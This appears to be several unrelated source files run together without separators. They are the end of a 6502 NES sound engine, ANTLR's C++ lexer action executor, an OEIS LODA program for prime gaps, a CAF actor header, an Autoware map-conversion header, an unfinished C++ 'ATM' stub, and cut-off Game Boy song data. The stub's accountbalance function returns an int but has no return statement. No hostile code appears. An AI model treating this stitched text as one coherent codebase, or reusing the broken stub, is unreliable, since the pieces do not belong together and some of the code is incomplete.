music channel ;to silence until the next note. lda stream_flags,y ora #STREAM_SILENCE_SET sta stream_flags,y @not_sound_effect: ;Pop current address off the stack. pla pla ;Return from parent caller. rts ;Expects sound_param_byte_0 to contain index of a song in song_list. ;Assumed to be four addresses to initialize streams on, for square1, square2, triangle and noise. ;Any addresses found to be zero will not initialize that channel. play_song: ;Save index regs. tya pha txa pha inc sound_disable_update ;Select header tempo offset based on region. ldx sound_region lda sound_region_to_tempo_offset,x sta sound_local_byte_0 ;Get song address from song list. lda sound_param_byte_0 asl a tay lda (song_list_address),y sta song_address iny lda (song_list_address),y sta song_address+1 ;Load square 1 stream. ldx #0 jsr stream_stop ldy #track_header_square1_stream_address lda (song_address),y sta sound_param_word_0 iny lda (song_address),y beq @no_square_1 sta sound_param_word_0+1 lda #0 sta sound_param_byte_0 lda #0 sta sound_param_byte_1 jsr stream_initialize clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_0 tay lda (song_address),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (song_address),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x @no_square_1: ;Load square 2 stream. ldx #1 jsr stream_stop ldy #track_header_square2_stream_address lda (song_address),y sta sound_param_word_0 iny lda (song_address),y beq @no_square_2 sta sound_param_word_0+1 lda #1 sta sound_param_byte_0 lda #1 sta sound_param_byte_1 jsr stream_initialize clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_0 tay lda (song_address),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (song_address),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x @no_square_2: ;Load triangle stream. ldx #2 jsr stream_stop ldy #track_header_triangle_stream_address lda (song_address),y sta sound_param_word_0 iny lda (song_address),y beq @no_triangle sta sound_param_word_0+1 lda #2 sta sound_param_byte_0 lda #2 sta sound_param_byte_1 jsr stream_initialize clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_0 tay lda (song_address),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (song_address),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x @no_triangle: ;Load noise stream. ldx #3 jsr stream_stop ldy #track_header_noise_stream_address lda (song_address),y sta sound_param_word_0 iny lda (song_address),y beq @no_noise sta sound_param_word_0+1 lda #3 sta sound_param_byte_0 lda #3 sta sound_param_byte_1 jsr stream_initialize clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_0 tay lda (song_address),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (song_address),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x @no_noise: ifdef FEATURE_DPCM ;Load dpcm stream. ldx #4 jsr stream_stop ldy #track_header_dpcm_stream_address lda (song_address),y sta sound_param_word_0 iny lda (song_address),y beq @no_dpcm sta sound_param_word_0+1 lda #4 sta sound_param_byte_0 lda #4 sta sound_param_byte_1 jsr stream_initialize lda #DPCM_STATE_NOP sta apu_dpcm_state ;Reset load counter to safeguard against accumulating too far ;in one direction. (can cause distortion). Suggestion by thefox ;on nesdev. I've never actually heard this distortion occur. lda #0 sta $4011 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_0 tay lda (song_address),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (song_address),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x @no_dpcm: endif dec sound_disable_update ;Restore index regs. pla tax pla tay rts ;Expects sound_param_byte_0 to contain the index of the sound effect to play. ;Expects sound_param_byte_1 to contain the sound effect priority. This can ;be one of two values: soundeffect_one, and soundeffect_two from ggsound.inc. ;Assumes the parameters are correct; no range checking is performed. play_sfx: ;Save index regs. tya pha txa pha inc sound_disable_update ;Select header tempo offset based on region. ldx sound_region lda sound_region_to_tempo_offset,x sta sound_local_byte_1 ;Get sfx address from sfx list. lda sound_param_byte_0 asl a tay lda (sfx_list_address),y sta sound_local_word_0 iny lda (sfx_list_address),y sta sound_local_word_0+1 lda sound_param_byte_1 sta sound_local_byte_0 ;Load square 1 stream. ldy #track_header_square1_stream_address lda (sound_local_word_0),y sta sound_param_word_0 iny lda (sound_local_word_0),y beq @no_square_1 sta sound_param_word_0+1 lda #0 sta sound_param_byte_0 lda sound_local_byte_0 sta sound_param_byte_1 jsr stream_initialize ldx sound_local_byte_0 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_1 tay lda (sound_local_word_0),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (sound_local_word_0),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x inc sound_local_byte_0 @no_square_1: lda sound_local_byte_0 cmp #(soundeffect_two + 1) bne @skip0 jmp @no_more_sfx_streams_available @skip0: ;Load square 2 stream. ldy #track_header_square2_stream_address lda (sound_local_word_0),y sta sound_param_word_0 iny lda (sound_local_word_0),y beq @no_square_2 sta sound_param_word_0+1 lda #1 sta sound_param_byte_0 lda sound_local_byte_0 sta sound_param_byte_1 jsr stream_initialize ldx sound_local_byte_0 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_1 tay lda (sound_local_word_0),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (sound_local_word_0),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x inc sound_local_byte_0 @no_square_2: lda sound_local_byte_0 cmp #(soundeffect_two + 1) bne @skip1 jmp @no_more_sfx_streams_available @skip1: ;Load triangle stream. ldy #track_header_triangle_stream_address lda (sound_local_word_0),y sta sound_param_word_0 iny lda (sound_local_word_0),y beq @no_triangle sta sound_param_word_0+1 lda #2 sta sound_param_byte_0 lda sound_local_byte_0 sta sound_param_byte_1 jsr stream_initialize ldx sound_local_byte_0 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_1 tay lda (sound_local_word_0),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (sound_local_word_0),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x inc sound_local_byte_0 @no_triangle: lda sound_local_byte_0 cmp #(soundeffect_two + 1) beq @no_more_sfx_streams_available ;Load noise stream. ldy #track_header_noise_stream_address lda (sound_local_word_0),y sta sound_param_word_0 iny lda (sound_local_word_0),y beq @no_noise sta sound_param_word_0+1 lda #3 sta sound_param_byte_0 lda sound_local_byte_0 sta sound_param_byte_1 jsr stream_initialize ldx sound_local_byte_0 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_1 tay lda (sound_local_word_0),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (sound_local_word_0),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x inc sound_local_byte_0 @no_noise: ifdef FEATURE_DPCM ;Load dpcm stream. ldy #track_header_dpcm_stream_address lda (sound_local_word_0),y sta sound_param_word_0 iny lda (sound_local_word_0),y beq @no_dpcm sta sound_param_word_0+1 lda #4 sta sound_param_byte_0 lda sound_local_byte_0 sta sound_param_byte_1 jsr stream_initialize ldx sound_local_byte_0 clc lda #track_header_ntsc_tempo_lo adc sound_local_byte_1 tay lda (sound_local_word_0),y sta stream_tempo_lo,x sta stream_tempo_counter_lo,x iny lda (sound_local_word_0),y sta stream_tempo_hi,x sta stream_tempo_counter_hi,x lda #DPCM_STATE_UPLOAD_THEN_WAIT sta apu_dpcm_state @no_dpcm: endif @no_more_sfx_streams_available: dec sound_disable_update ;Restore index regs. pla tax pla tay rts ;Pauses all music streams by clearing volume bits from all channel registers ;and setting the pause flag so these streams are not updated. pause_song: ldx #(MAX_MUSIC_STREAMS-1) @next_stream: lda stream_flags,x ora #STREAM_PAUSE_SET sta stream_flags,x lda stream_channel_register_1,x and #%11110000 sta stream_channel_register_1,x dex bpl @next_stream rts ;Resumes all music streams. resume_song: ldx #(MAX_MUSIC_STREAMS-1) @next_stream: lda stream_flags,x and #STREAM_PAUSE_CLEAR sta stream_flags,x dex bpl @next_stream rts ;Expects sound_param_byte_0 to contain the channel on which to play the stream. ;Expects sound_param_byte_1 to contain the offset of the stream instance to initialize. ;Expects sound_param_word_0 to contain the starting read address of the stream to ;initialize. stream_initialize: channel = sound_param_byte_0 stream = sound_param_byte_1 starting_read_address = sound_param_word_0 ;Save x. txa pha ldx stream inc sound_disable_update lda starting_read_address ora starting_read_address+1 beq @null_starting_read_address ;Set stream to be inactive while initializing. lda #0 sta stream_flags,x ;Set a default note length (20 frames). lda #20 sta stream_note_length_lo,x ;Set initial note length counter. sta stream_note_length_counter_lo,x lda #0 sta stream_note_length_hi,x sta stream_note_length_counter_hi,x ;Set initial instrument index. lda #0 sta stream_instrument_index,x sta stream_volume_offset,x sta stream_pitch_offset,x sta stream_duty_offset,x ifdef FEATURE_ARPEGGIOS sta stream_arpeggio_offset,x endif ;Set channel. lda channel sta stream_channel,x ;Set initial read address. lda starting_read_address sta stream_read_address_lo,x lda starting_read_address+1 sta stream_read_address_hi,x ;Set default tempo. lda #<DEFAULT_TEMPO sta stream_tempo_lo,x sta stream_tempo_counter_lo,x lda #>DEFAULT_TEMPO sta stream_tempo_hi,x sta stream_tempo_counter_hi,x ;Set stream to be active. lda stream_flags,x ora #STREAM_ACTIVE_SET sta stream_flags,x @null_starting_read_address: dec sound_disable_update ;Restore x. pla tax rts ;Stops a stream from playing. ;Assumes x contains the index of the stream to kill. stream_stop: inc sound_disable_update lda #0 sta stream_flags,x dec sound_disable_update rts ;Updates a single stream. ;Expects x to be pointing to a stream instance as an offset from streams. stream_update: callback_address = sound_local_word_0 read_address = sound_local_word_1 lda stream_flags,x and #STREAM_PAUSE_TEST beq @skip0 rts @skip0: ;Load current read address of stream. lda stream_read_address_lo,x sta read_address lda stream_read_address_hi,x sta read_address+1 ;Load next byte from stream data. lda stream_flags,x and #STREAM_PITCH_LOADED_TEST bne @skip1 ldy #0 lda (read_address),y sta stream_note,x @skip1: ;Is this byte a note or a stream opcode? cmp #OPCODES_BASE bcc @process_note @process_opcode: ;Look up the opcode in the stream callbacks table. sec sbc #OPCODES_BASE tay ;Get the address. lda stream_callback_table_lo,y sta callback_address lda stream_callback_table_hi,y sta callback_address+1 ;Call the callback! jsr indirect_jsr_callback_address ;Advance the stream's read address. advance_stream_read_address ;Immediately process the next opcode or note. The idea here is that ;all stream control opcodes will execute during the current frame as "setup" ;for the next note. All notes will execute once per frame and will always ;return from this routine. This leaves the problem, how would the stream ;control opcode "terminate" work? It works by pulling the current return ;address off the stack and then performing an rts, effectively returning ;from its caller, this routine. jmp stream_update @process_note: ;Determine which channel callback to use. lda stream_channel,x tay lda channel_callback_table_lo,y sta callback_address lda channel_callback_table_hi,y sta callback_address+1 ;Call the channel callback! jsr indirect_jsr_callback_address sec lda stream_tempo_counter_lo,x sbc #<256 sta stream_tempo_counter_lo,x lda stream_tempo_counter_hi,x sbc #>256 sta stream_tempo_counter_hi,x bcs @do_not_advance_note_length_counter ;Reset tempo counter when we cross 0 by adding original tempo back on. ;This way we have a wrap-around value that does not get lost when we count ;down to the next note. clc lda stream_tempo_counter_lo,x adc stream_tempo_lo,x sta stream_tempo_counter_lo,x lda stream_tempo_counter_hi,x adc stream_tempo_hi,x sta stream_tempo_counter_hi,x ;Decrement the note length counter.. On zero, advance the stream's read address. sec lda stream_note_length_counter_lo,x sbc #<1 sta stream_note_length_counter_lo,x lda stream_note_length_counter_hi,x sbc #>1 sta stream_note_length_counter_hi,x lda stream_note_length_counter_lo,x ora stream_note_length_counter_hi,x bne @note_length_counter_not_zero ;Reset the note length counter. lda stream_note_length_lo,x sta stream_note_length_counter_lo,x lda stream_note_length_hi,x sta stream_note_length_counter_hi,x ldy stream_instrument_index,x lda (base_address_instruments),y sta sound_local_word_0 iny lda (base_address_instruments),y sta sound_local_word_0+1 ldy #0 lda (sound_local_word_0),y sta stream_volume_offset,x iny lda (sound_local_word_0),y sta stream_pitch_offset,x iny lda (sound_local_word_0),y sta stream_duty_offset,x ifdef FEATURE_ARPEGGIOS iny lda (sound_local_word_0),y sta stream_arpeggio_offset,x endif ;Reset silence until note and pitch loaded flags. lda stream_flags,x and #STREAM_SILENCE_CLEAR and #STREAM_PITCH_LOADED_CLEAR sta stream_flags,x ;Advance the stream's read address. advance_stream_read_address @do_not_advance_note_length_counter: @note_length_counter_not_zero: rts indirect_jsr_callback_address: jmp (callback_address) rts sound_initialize_apu_buffer: ;**************************************************************** ;Initialize Square 1 ;**************************************************************** ;Set Saw Envelope Disable and Length Counter Disable to 1 for square 1. lda #%00110000 sta apu_register_sets ;Set Negate flag on the sweep unit. lda #$08 sta apu_register_sets+1 ;Set period to C9, which is a C#...just in case nobody writes to it. lda #$C9 sta apu_register_sets+2 ;Make sure the old value starts out different from the first default value. sta apu_square_1_old lda #$00 sta apu_register_sets+3 ;**************************************************************** ;Initialize Square 2 ;**************************************************************** ;Set Saw Envelope Disable and Length Counter Disable to 1 for square 2. lda #%00110000 sta apu_register_sets+4 ;Set Negate flag on the sweep unit. lda #$08 sta apu_register_sets+5 ;Set period to C9, which is a C#...just in case nobody writes to it. lda #$C9 sta apu_register_sets+6 ;Make sure the old value starts out different from the first default value. sta apu_square_2_old lda #$00 sta apu_register_sets+7 ;**************************************************************** ;Initialize Triangle ;**************************************************************** lda #%10000000 sta apu_register_sets+8 lda #$C9 sta apu_register_sets+10 lda #$00 sta apu_register_sets+11 ;**************************************************************** ;Initialize Noise ;**************************************************************** lda #%00110000 sta apu_register_sets+12 lda #%00000000 sta apu_register_sets+13 lda #%00000000 sta apu_register_sets+14 lda #%00000000 sta apu_register_sets+15 ifdef FEATURE_DPCM ;**************************************************************** ;Initialize DPCM ;**************************************************************** lda #0 sta apu_register_sets+16 lda #0 sta apu_register_sets+17 lda #0 sta apu_register_sets+18 lda #0 sta apu_register_sets+19 endif rts sound_upload: lda apu_data_ready beq @apu_data_not_ready jsr sound_upload_apu_register_sets @apu_data_not_ready: rts sound_upload_apu_register_sets: @square1: lda apu_register_sets+0 sta $4000 lda apu_register_sets+1 sta $4001 lda apu_register_sets+2 sta $4002 lda apu_register_sets+3 ;Compare to last write. cmp apu_square_1_old ;Don't write this frame if they were equal. beq @square2 sta $4003 ;Save the value we just wrote to $4003. sta apu_square_1_old @square2: lda apu_register_sets+4 sta $4004 lda apu_register_sets+5 sta $4005 lda apu_register_sets+6 sta $4006 lda apu_register_sets+7 cmp apu_square_2_old beq @triangle sta $4007 ;Save the value we just wrote to $4007. sta apu_square_2_old @triangle: lda apu_register_sets+8 sta $4008 lda apu_register_sets+10 sta $400A lda apu_register_sets+11 sta $400B @noise: lda apu_register_sets+12 sta $400C lda apu_register_sets+14 ;Our notes go from 0 to 15 (low to high) ;but noise channel's low to high is 15 to 0. eor #$0f sta $400E lda apu_register_sets+15 sta $400F ;Clear out all volume values from this frame in case a sound effect is killed suddenly. lda #%00110000 sta apu_register_sets sta apu_register_sets+4 sta apu_register_sets+12 lda #%10000000 sta apu_register_sets+8 ifdef FEATURE_DPCM ;Now execute DPCM command/state machine. This state machine has logic for allowing ;a DPCM sound effect to override the currenty playing music DPCM sample until finished. @dpcm: ldx apu_dpcm_state lda @dpcm_state_callback_hi,x pha lda @dpcm_state_callback_lo,x pha rts @dpcm_upload: jsr @dpcm_upload_registers lda #DPCM_STATE_NOP sta apu_dpcm_state rts @dpcm_upload_then_wait: jsr @dpcm_upload_registers lda #DPCM_STATE_WAIT sta apu_dpcm_state rts @dpcm_wait: lda $4015 and #%00010000 bne @skip lda #DPCM_STATE_NOP sta apu_dpcm_state @skip: rts @dpcm_nop: rts @dpcm_state_callback_lo: .db <(@dpcm_nop-1) .db <(@dpcm_upload-1) .db <(@dpcm_upload_then_wait-1) .db <(@dpcm_wait-1) @dpcm_state_callback_hi: .db >(@dpcm_nop-1) .db >(@dpcm_upload-1) .db >(@dpcm_upload_then_wait-1) .db >(@dpcm_wait-1) @dpcm_upload_registers: lda apu_register_sets+16 sta $4010 lda apu_register_sets+18 sta $4012 lda apu_register_sets+19 sta $4013 ;Restart DPCM channel in case a new note was played before sample finished. lda #%00001111 sta $4015 lda #%00011111 sta $4015 rts else rts endif
/* Copyright (c) 2012-2017 The ANTLR Project. All rights reserved. * Use of this file is governed by the BSD 3-clause license that * can be found in the LICENSE.txt file in the project root. */ #include "misc/MurmurHash.h" #include "atn/LexerIndexedCustomAction.h" #include "support/CPPUtils.h" #include "support/Arrays.h" #include "atn/LexerActionExecutor.h" using namespace antlr4; using namespace antlr4::atn; using namespace antlr4::misc; using namespace antlrcpp; LexerActionExecutor::LexerActionExecutor(const std::vector<Ref<LexerAction>> &lexerActions) : _lexerActions(lexerActions), _hashCode(generateHashCode()) { } Ref<LexerActionExecutor> LexerActionExecutor::append(Ref<LexerActionExecutor> const& lexerActionExecutor, Ref<LexerAction> const& lexerAction) { if (lexerActionExecutor == nullptr) { return std::make_shared<LexerActionExecutor>(std::vector<Ref<LexerAction>> { lexerAction }); } std::vector<Ref<LexerAction>> lexerActions = lexerActionExecutor->_lexerActions; // Make a copy. lexerActions.push_back(lexerAction); return std::make_shared<LexerActionExecutor>(lexerActions); } Ref<LexerActionExecutor> LexerActionExecutor::fixOffsetBeforeMatch(int offset) { std::vector<Ref<LexerAction>> updatedLexerActions; for (size_t i = 0; i < _lexerActions.size(); i++) { if (_lexerActions[i]->isPositionDependent() && !is<LexerIndexedCustomAction>(_lexerActions[i])) { if (updatedLexerActions.empty()) { updatedLexerActions = _lexerActions; // Make a copy. } updatedLexerActions[i] = std::make_shared<LexerIndexedCustomAction>(offset, _lexerActions[i]); } } if (updatedLexerActions.empty()) { return shared_from_this(); } return std::make_shared<LexerActionExecutor>(updatedLexerActions); } std::vector<Ref<LexerAction>> LexerActionExecutor::getLexerActions() const { return _lexerActions; } void LexerActionExecutor::execute(Lexer *lexer, CharStream *input, size_t startIndex) { bool requiresSeek = false; size_t stopIndex = input->index(); auto onExit = finally([requiresSeek, input, stopIndex]() { if (requiresSeek) { input->seek(stopIndex); } }); for (auto lexerAction : _lexerActions) { if (is<LexerIndexedCustomAction>(lexerAction)) { int offset = (std::static_pointer_cast<LexerIndexedCustomAction>(lexerAction))->getOffset(); input->seek(startIndex + offset); lexerAction = std::static_pointer_cast<LexerIndexedCustomAction>(lexerAction)->getAction(); requiresSeek = (startIndex + offset) != stopIndex; } else if (lexerAction->isPositionDependent()) { input->seek(stopIndex); requiresSeek = false; } lexerAction->execute(lexer); } } size_t LexerActionExecutor::hashCode() const { return _hashCode; } bool LexerActionExecutor::operator == (const LexerActionExecutor &obj) const { if (&obj == this) { return true; } return _hashCode == obj._hashCode && Arrays::equals(_lexerActions, obj._lexerActions); } bool LexerActionExecutor::operator != (const LexerActionExecutor &obj) const { return !operator==(obj); } size_t LexerActionExecutor::generateHashCode() const { size_t hash = MurmurHash::initialize(); for (auto lexerAction : _lexerActions) { hash = MurmurHash::update(hash, lexerAction); } MurmurHash::finish(hash, _lexerActions.size()); return hash; }
; A031165: a(n) = prime(n+3) - prime(n). ; Submitted by Christian Krause ; 5,8,8,10,8,10,12,12,14,12,12,10,12,16,14,14,12,12,12,12,16,18,18,14,10,8,10,20,22,24,12,18,14,18,14,16,16,16,14,18,14,16,8,18,26,28,18,10,12,12,18,18,22,18,14,14,12,12,16,26,28,20,10,20,24,30,18,16,12,18,20,20,16,16,18,18,20,22,20,22,14,18,12,16,18,18,14,10,18,24,24,20,16,18,22,20,32,26,34,22 mov $2,$0 add $0,3 seq $0,40 ; The prime numbers. seq $2,40 ; The prime numbers. sub $0,$2
/****************************************************************************** * ____ _ _____ * * / ___| / \ | ___| C++ * * | | / _ \ | |_ Actor * * | |___ / ___ \| _| Framework * * \____/_/ \_|_| * * * * Copyright 2011-2018 Dominik Charousset * * * * Distributed under the terms and conditions of the BSD 3-Clause License or * * (at your option) under the terms and conditions of the Boost Software * * License 1.0. See accompanying files LICENSE and LICENSE_ALTERNATIVE. * * * * If you did not receive a copy of the license files, see * * http://opensource.org/licenses/BSD-3-Clause and * * http://www.boost.org/LICENSE_1_0.txt. * ******************************************************************************/ #pragma once #include <atomic> #include <condition_variable> #include <cstdint> #include <memory> #include <mutex> #include <set> #include <string> #include <type_traits> #include <vector> #include "caf/abstract_actor.hpp" #include "caf/actor_addr.hpp" #include "caf/actor_cast.hpp" #include "caf/detail/core_export.hpp" #include "caf/detail/functor_attachable.hpp" #include "caf/detail/type_traits.hpp" #include "caf/mailbox_element.hpp" #include "caf/system_messages.hpp" #include "caf/typed_message_view.hpp" namespace caf { /// Base class for all actor implementations. class CAF_CORE_EXPORT monitorable_actor : public abstract_actor { public: /// Returns an implementation-dependent name for logging purposes, which /// is only valid as long as the actor is running. The default /// implementation simply returns "actor". virtual const char* name() const; void attach(attachable_ptr ptr) override; size_t detach(const attachable::token& what) override; // -- linking and monitoring ------------------------------------------------- /// Links this actor to `x`. void link_to(const actor_addr& x) { auto ptr = actor_cast<strong_actor_ptr>(x); if (ptr && ptr->get() != this) add_link(ptr->get()); } /// Links this actor to `x`. template <class ActorHandle> void link_to(const ActorHandle& x) { auto ptr = actor_cast<abstract_actor*>(x); if (ptr && ptr != this) add_link(ptr); } /// Unlinks this actor from `x`. void unlink_from(const actor_addr& x); /// Links this actor to `x`. template <class ActorHandle> void unlink_from(const ActorHandle& x) { auto ptr = actor_cast<abstract_actor*>(x); if (ptr && ptr != this) remove_link(ptr); } /// @cond PRIVATE /// Called by the runtime system to perform cleanup actions for this actor. /// Subtypes should always call this member function when overriding it. /// This member function is thread-safe, and if the actor has already exited /// upon invocation, nothing is done. The return value of this member /// function is ignored by scheduled actors. virtual bool cleanup(error&& reason, execution_unit* host); void add_link(abstract_actor* x) override; void remove_link(abstract_actor* x) override; bool add_backlink(abstract_actor* x) override; bool remove_backlink(abstract_actor* x) override; error fail_state() const; /// @endcond protected: /// Allows subclasses to add additional cleanup code to the /// critical section in `cleanup`. This member function is /// called inside of a critical section. virtual void on_cleanup(const error& reason); /// Sends a response message if `what` is a request. void bounce(mailbox_element_ptr& what); /// Sends a response message if `what` is a request. void bounce(mailbox_element_ptr& what, const error& err); /// Creates a new actor instance. explicit monitorable_actor(actor_config& cfg); /**************************************************************************** * here be dragons: end of public interface * ****************************************************************************/ // precondition: `mtx_` is acquired void attach_impl(attachable_ptr& ptr) { ptr->next.swap(attachables_head_); attachables_head_.swap(ptr); } // precondition: `mtx_` is acquired size_t detach_impl(const attachable::token& what, bool stop_on_hit = false, bool dry_run = false); // handles only `exit_msg` and `sys_atom` messages; // returns true if the message is handled bool handle_system_message(mailbox_element& x, execution_unit* ctx, bool trap_exit); // handles `exit_msg`, `sys_atom` messages, and additionally `down_msg` // with `down_msg_handler`; returns true if the message is handled template <class F> bool handle_system_message(mailbox_element& x, execution_unit* context, bool trap_exit, F& down_msg_handler) { if (auto view = make_typed_message_view<down_msg>(x.payload)) { down_msg_handler(get<0>(view)); return true; } return handle_system_message(x, context, trap_exit); } // is protected by `mtx_` in actors that are not scheduled, but // can be accessed without lock for event-based and blocking actors error fail_state_; // only used in blocking and thread-mapped actors mutable std::condition_variable cv_; // attached functors that are executed on cleanup (monitors, links, etc) attachable_ptr attachables_head_; /// @endcond }; } // namespace caf
// Copyright 2020 Tier IV, Inc // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef HAD_MAP_UTILS__HAD_MAP_CONVERSION_HPP_ #define HAD_MAP_UTILS__HAD_MAP_CONVERSION_HPP_ #include "had_map_utils/visibility_control.hpp" #include <autoware_auto_mapping_msgs/msg/had_map_bin.hpp> #include <lanelet2_core/LaneletMap.h> #include <memory> namespace autoware { namespace common { namespace had_map_utils { void HAD_MAP_UTILS_PUBLIC toBinaryMsg( const std::shared_ptr<lanelet::LaneletMap> & map, autoware_auto_mapping_msgs::msg::HADMapBin & msg); void HAD_MAP_UTILS_PUBLIC fromBinaryMsg( const autoware_auto_mapping_msgs::msg::HADMapBin & msg, std::shared_ptr<lanelet::LaneletMap> & map); } // namespace had_map_utils } // namespace common } // namespace autoware #endif // HAD_MAP_UTILS__HAD_MAP_CONVERSION_HPP_
// program to make an atm machine #include<iostream> using namespace std; class account{ int balance; public: int accountbalance(); int withdrawal(); void ministatement(); }; int account::accountbalance() { } int main() { return 0; }
; File created by mod2gbt SECTION "Start_Song", ROMX, BANK[3] Start_Song0: DB $a4,$18, $93,$3a, $98,$12, $4a,$06 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $91,$3a, $96,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $8f,$3a, $94,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $91,$3a, $96,$12, $00 DB $a2,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 Start_Song1: DB $a4,$18, $93,$3f, $98,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $93,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $93,$3f, $00, $00 DB $9f,$18, $42,$03, $00, $00 DB $a4,$18, $91,$3f, $96,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $91,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $91,$3f, $00, $00 DB $9f,$18, $42,$03, $00, $00 DB $a4,$18, $8f,$3f, $94,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $8c,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $98,$18, $8e,$3f, $00, $00 DB $96,$18, $42,$03, $00, $00 DB $98,$18, $8f,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $8c,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $a4,$18, $8e,$3f, $93,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 Start_Song2: DB $a4,$18, $93,$3f, $98,$12, $00 DB $a2,$18, $42,$03, $00, $00 DB $9f,$18, $93,$3f, $00, $00 DB $9b,$18, $42,$03, $00, $00 DB $9f,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $96,$18, $00, $00, $00 DB $98,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9d,$18, $00, $00, $00 DB $9b,$18, $00, $00, $00 DB $9f,$18, $00, $00, $00 